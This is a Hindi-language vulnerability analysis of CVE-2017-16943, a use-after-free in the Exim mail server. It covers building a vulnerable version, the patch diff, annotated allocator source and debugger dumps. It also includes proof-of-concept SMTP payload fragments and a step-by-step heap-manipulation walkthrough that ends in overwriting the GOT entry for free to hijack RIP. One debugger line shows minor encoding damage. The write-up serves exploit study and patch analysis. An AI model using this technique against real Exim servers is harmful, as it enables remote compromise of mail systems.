
CVE-2017-16943 के लिए तकनीकी विश्लेषण और proof-of-concept exploit, Exim MTA में एक use-after-free भेद्यता, heap manipulation और RIP hijacking walkthrough के साथ।
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Makefile में पथ चर और उपयोगकर्ता नाम बदलें
cd ..
make -j8
sudo make install
इंस्टॉल करने के बाद configure में accept hosts = : को accept hosts = * में बदलें।
चलाएँ:
exim -bdf -d-receive
यह भेद्यता एक UAF (उपयोग-पश्चात-मुक्त) है, जो receive.c फ़ाइल के receive_msg फ़ंक्शन में होती है। यह फ़ंक्शन क्लाइंट से इनपुट प्राप्त करने के लिए उपयोग होता है। पैच रिकॉर्ड देखें:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
यहाँ कुछ वैश्विक चरों की भूमिका स्पष्ट करते हैं:
current_block: वर्तमान storeblock, store_get_3 का उपयोग करते समय पहले इसी storeblock से खाली क्षेत्र खोजा जाता है
next_yield: current_block में खाली ब्लॉक के प्रारंभ पते की ओर इशारा करता है; storeblock आमतौर पर ऊपरी भाग उपयोग किया जाता है, निचला भाग खाली होता है
yield_length: next_yield की लंबाई
meh के poc का विश्लेषण करके पता चलता है कि अपैच्ड प्रोग्राम निम्नलिखित हीप लेआउट प्रक्रिया के माध्यम से uaf ट्रिगर कर सकता है:
सबसे पहले receive_msg फ़ंक्शन में, next->text को एक storeblock की प्रारंभिक बफर बनाएँ:

फिर bdat कमांड के माध्यम से उस text के नीचे एक buffer आवंटित करें।
bdat कमांड का उपयोग क्यों करें?
वास्तव में auth plain या अदृश्य वर्णों से बने अवैध कमांड भी text के नीचे buffer आवंटित कर सकते हैं, लेकिन अन्य निर्देश receive_msg फ़ंक्शन से बाहर निकलने का कारण बनेंगे।
पुनः receive_msg में प्रवेश करने पर, next->text किसी अन्य क्षेत्र की ओर इशारा करेगा, इसलिए भेद्यता ट्रिगर नहीं हो सकती।
जबकि bdat कमांड वर्तमान receive_msg फ़ंक्शन से बाहर नहीं निकलता, यह बहुत महत्वपूर्ण है।

फिर लगातार वर्ण भेजें, next_text को भरें (शुरू में 0x100), फिर प्रोग्राम भेद्यता बिंदु पर पहुँचता है। store_extend में, bdat buffer की उपस्थिति के कारण विस्तार नहीं हो पाता, इसलिए store_get निष्पादित होता है और next_yield द्वारा इंगित क्षेत्र प्राप्त करता है, फिर store_release फ़ंक्शन को कॉल करता है। इस फ़ंक्शन में केवल यह जाँच की जाती है कि release का पैरामीटर किसी storeblock की शुरुआत है या नहीं, लेकिन यह नहीं जाँचा जाता कि उसके बाद कोई अन्य buffer है, तो सीधे storeblock को मुक्त कर दिया जाता है। इससे store_get द्वारा लौटाया गया पता अभी भी current_block के अंदर है, लेकिन तुरंत current_block को मुक्त कर दिया जाता है, जिससे uaf उत्पन्न होता है।
यहाँ poc कोड के साथ कदम दर कदम समझाते हैं कि rip कैसे हाइजैक करें।
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
पहले ढेर सारा डेटा भेजें, इसका उद्देश्य yield_length को 0x130 से कम, लेकिन 0x30 से अधिक बनाना है। ऐसा क्यों चाहिए? receive_msg फ़ंक्शन की शुरुआत देखें:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
पता चलता है कि next->text आवंटित करने से पहले sizeof(header_line) आकार के दो buffer आवंटित किए गए हैं, यह आकार 0x18 है। इसलिए यदि इन दो 0x18 आकार के ब्लॉक आवंटित करने के बाद शेष yield_length 0x100 से कम है, तो next->text आवंटित करते समय store_get के अंदर एक नया storeblock आवंटित होगा, और next->text उस storeblock की शुरुआत में होगा।
फिर हम bdat कमांड कॉल करते हैं:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
इस कमांड में एक अदृश्य वर्ण है, जो store_get को कॉल करके त्रुटि संदेश संग्रहीत करने के लिए एक buffer आवंटित करेगा:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(अवैध निर्देशों में भी यदि अदृश्य वर्ण हों तो अतिरिक्त हीप ब्लॉक आवंटित हो सकता है)
अब लगातार वर्ण भेजें:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
यह प्रति बाइट next->text में प्राप्त वर्ण भरता है। जब 0x100 का खाली क्षेत्र भर जाता है, तो भेद्यता कोड चलता है जो next->text का आकार बढ़ाने का प्रयास करता है। पहले store_extend(next->text, oldsize, header_size) में प्रवेश करें और सीधे आकार बढ़ाने का प्रयास करें:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
मुख्य जाँच 276~277 पंक्तियों में है। पहली शर्त यह जाँचती है कि विस्तारित किए जाने वाले पॉइंटर ptr के बाद सीधे next_yield है या नहीं। दूसरी शर्त यह जाँचती है कि next_yield का आकार (yield_length) पर्याप्त है या नहीं। स्पष्ट है कि पहली शर्त पूरी नहीं होती, क्योंकि next->text के बाद एक bdat buffer है, और उसके बाद next_yield है।
फिर store_get में प्रवेश करके एक नया ब्लॉक आवंटित करें, जो next_yield पर आवंटित होता है। इसके बाद store_release कॉल करके मूल next_text को मुक्त करें। यहाँ जाँच तर्क पर ध्यान दें:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
प्रोग्राम chainbase से शुरू करके storeblock के next पॉइंटर के साथ नीचे खोजता है। यदि मुक्त किया जाने वाला ब्लॉक किसी storeblock की शुरुआत में पाया जाता है (455 पंक्ति की दूसरी शर्त), तो उस storeblock को free कर दिया जाता है। लेकिन इस समय current_block इस हीप ब्लॉक की ओर इशारा कर रहा है, और नया next_text भी इसी हीप ब्लॉक के अंदर है, इसलिए UAF होता है। हीप ब्लॉक मुक्त होने के बाद current_block unsortedbin में डाल दिया जाता है:
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
इस समय main_arena storeblock श्रृंखला में जुड़ गया है।
जैसे-जैसे वर्ण इनपुट होते रहते हैं, पुराना next->text बार-बार store_extend को कॉल करके आकार बढ़ाता है। हालाँकि current_block को मुक्त कर दिया गया है, लेकिन next_yield अभी भी current_block के अंदर इशारा कर रहा है, जिससे next->text store_extend के माध्यम से तब तक बढ़ता रहता है जब तक पूरा current_block भर नहीं जाता। अंत में विस्तार संभव नहीं होने पर, फिर से store_get में प्रवेश करके एक नया हीप ब्लॉक प्राप्त करें:
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
देखा जा सकता है कि 151~153 पंक्तियों में प्रोग्राम current_block->next प्राप्त करने का प्रयास करता है और जाँचता है कि क्या वह हीप ब्लॉक आवंटित करने के लिए पर्याप्त है, यदि नहीं तो उसे free कर देता है। ध्यान दें कि current_block अब unsorted bin में है, current_block->next main_arena की ओर इशारा करता है, अंतिम शर्त पूरी नहीं होती, इसलिए इस समय newblock = main_arena।
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
तब प्रोग्राम सीधे main_arena को नए buffer के रूप में लौटाता है, और फिर 1824 पंक्ति में पुराने हीप ब्लॉक की सामग्री को नए हीप ब्लॉक में कॉपी किया जाता है, जिससे main_arena ओवरराइट हो जाता है।
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
इस बार ओवरराइट सीधे free_got को ओवरराइट करता है, इसलिए बाद में कोई साधारण ऑपरेशन करके rip को हाइजैक किया जा सकता है।